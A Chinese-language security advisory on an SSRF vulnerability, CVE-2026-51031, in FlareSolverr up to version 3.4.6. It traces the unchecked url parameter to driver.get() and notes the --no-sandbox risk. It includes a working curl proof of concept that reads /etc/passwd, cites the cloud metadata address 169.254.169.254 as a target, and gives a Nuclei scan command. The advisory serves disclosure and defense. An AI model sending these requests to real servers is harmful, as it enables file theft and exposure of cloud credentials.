首页 网络安全 正文

FlareSolverr服务端请求伪造漏洞CVE-2026-51031

摘要

栋科技漏洞库关注到 FlareSolverr 在3.4.6及之前版本中存在的服务端请求伪造漏洞,现已被追踪为CVE-2026-51031,CVSS评分未知。

FlareSolverr 是开源HTTP代理服务,专门解决Cloudflare五秒验证、Turnstile人机验证反爬拦截,它是爬虫、资源订阅工具常用中间件。

一、基本情况

FlareSolverr可对接Python爬虫、Jackett、Prowlarr、媒体订阅等工具,支持配置代理、会话持久化,适配Windows/Linux/NAS等设备。

FlareSolverr服务端请求伪造漏洞CVE-2026-51031

FlareSolverr 依赖完整浏览器内核,并发请求内存占用高;Cloudflare安全策略更新后可能失效,复杂高强度图形验证码无法自动处理。

栋科技漏洞库关注到 FlareSolverr 在3.4.6及之前版本中存在的服务端请求伪造漏洞,现已被追踪为CVE-2026-51031,CVSS评分未知。

二、漏洞分析

FlareSolverr 通过自动化操控Chrome浏览器绕过Cloudflare防护,其/v1接口request.get与request.post指令会处理用户传入的url参数。

该漏洞源于FlareSolverr的/v1 API 在未对协议、主机名、IP地址做任何校验,允许调用方控制目标 URL 并且直接由服务端浏览器加载。

程序直接调用driver.get(url)访问目标链接导致服务端请求伪造,攻击者可访问内网资源、云元数据接口或本地文件系统获取敏感信息。

攻击者可构造指向内网资源、本地文件的恶意URL以利用该漏洞。

此外,Chrome启动时携带--no-sandbox参数,支持file://协议访问,能够读取服务器任意本地文件。

具体来说,FlareSolverr ≤ v3.4.6 的 POST /v1 接口接收 cmd=request.get 或 cmd=request.post 等 JSON 命令体,

其中 url 参数被原样透传到 src/flaresolverr_service.py 的

controller_v1_endpoint→_controller_v1_handler→_cmd_request_get/_cmd_request_post→_evil_logic 调用路径,

最终在 _evil_logic 函数内通过 Selenium WebDriver 的 driver.get(req.url) 加载,

而未对协议 scheme、目标域名、回环/私网/链路本地地址及云元数据 IP 做任何拦截,

攻击者可传入 file:///etc/passwd 等本地路径或 http://169.254.169.254/latest/meta-data/ 等元数据地址,

由服务器侧浏览器发起请求并回传响应内容。

(一)受影响组件与触发点

接口地址:POST /v1(JSON接口)

核心函数:flaresolverr_service.py_evil_logic() → driver.get(req.url)

触发条件:

攻击者向FlareSolverr服务(默认端口8191)发送POST请求,可控url参数。

(二)技术分析

HTTP POST /v1  ← 攻击者发起请求

  │
  ├─ 【flaresolverr.py 第56-68行】controller_v1()
  │    data = request.json or {}            ← 直接接收JSON载荷
  │    req = V1RequestBase(data)            ← 直接赋值,无校验逻辑
  │
  ├─ 【flaresolverr_service.py 第100行】controller_v1_endpoint(req)
  │    ├─ 【第103行】_controller_v1_handler(req)
  │    │    ├─ 【第120-121行】仅判断req.cmd是否为空
  │    │    ├─ 【第134行】req.cmd == 'request.get' → 执行_cmd_request_get(req)
  │    │
  │    ├─ 【第152-163行】_cmd_request_get(req)
  │    │    if req.url is None: raise Exception  ← 唯一校验:url不能为空
  │    │    challenge_res = _resolve_challenge(req, 'GET')
  │    │
  │    ├─ 【第230-252行】_resolve_challenge(req, 'GET')
  │    │    driver = utils.get_webdriver(req.proxy)  ← 创建Chrome浏览器实例
  │    │    return func_timeout(timeout, _evil_logic, (req, driver, 'GET'))
  │    │
  │    ├─ 【第340-382行】_evil_logic(req, driver, 'GET')
  │    │    driver.get(req.url)              ← 漏洞点:无任何校验
  │    │    ...
  │    │    challenge_res.response = driver.page_source  ← 将页面内容返回攻击者
  │    │
  │    └─ 返回JSON响应

(三)核心问题

从controller_v1到driver.get(req.url)的整条链路,未对以下内容做校验:

1、URL协议(例如http、file、gopher)

2、主机名

3、IP地址(内网/公网)

唯一校验逻辑仅判断url参数是否为空。

(四)额外风险因素

utils.py中Chrome启动配置参数如下:

options.add_argument('--no-sandbox')
options.add_argument('--disable-setuid-sandbox')

该配置削弱了浏览器隔离机制,造成:

1、允许访问file://本地文件协议

2、本地文件系统数据存在泄露风险

(五)根本成因

1、输入校验缺失

未配置允许协议白名单,也未添加内网IP黑名单。

2、信任边界失效

用户可控输入未经过滤清洗,直接传入driver.get()函数。

3、沙箱安全机制弱化

--no-sandbox参数开启后,可通过file://协议读取本地文件。

三、POC概念验证

(一)任意本地文件读取(依赖无沙箱Chrome环境)

curl -X POST http://<TARGET>:8191/v1 \
  -H "Content-Type: application/json" \
  -d '{
    "cmd": "request.get",
    "url": "file:///etc/passwd",
    "maxTimeout": 30000
  }'

(二)自动化检测脚本(Nuclei规则模板)

管理员已设置登录后刷新可查看

访问常见云服务商元数据地址。匹配规则命中即代表服务可访问内网元数据接口,确认漏洞存在。

(三)检测使用方式

通过Nuclei工具验证漏洞:

nuclei -u http://<target>:8191 -t flaresolverr-ssrf.yaml

(四)安全危害

攻击者可实现以下操作:

1、访问内网各类服务(SSRF)

2、读取云服务器实例元数据

3、读取服务器任意本地文件

4、根据部署环境,可能进一步渗透入侵服务器

四、影响范围

FlareSolverr ≤ v3.4.6

五、修复建议

FlareSolverr > v3.4.6

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接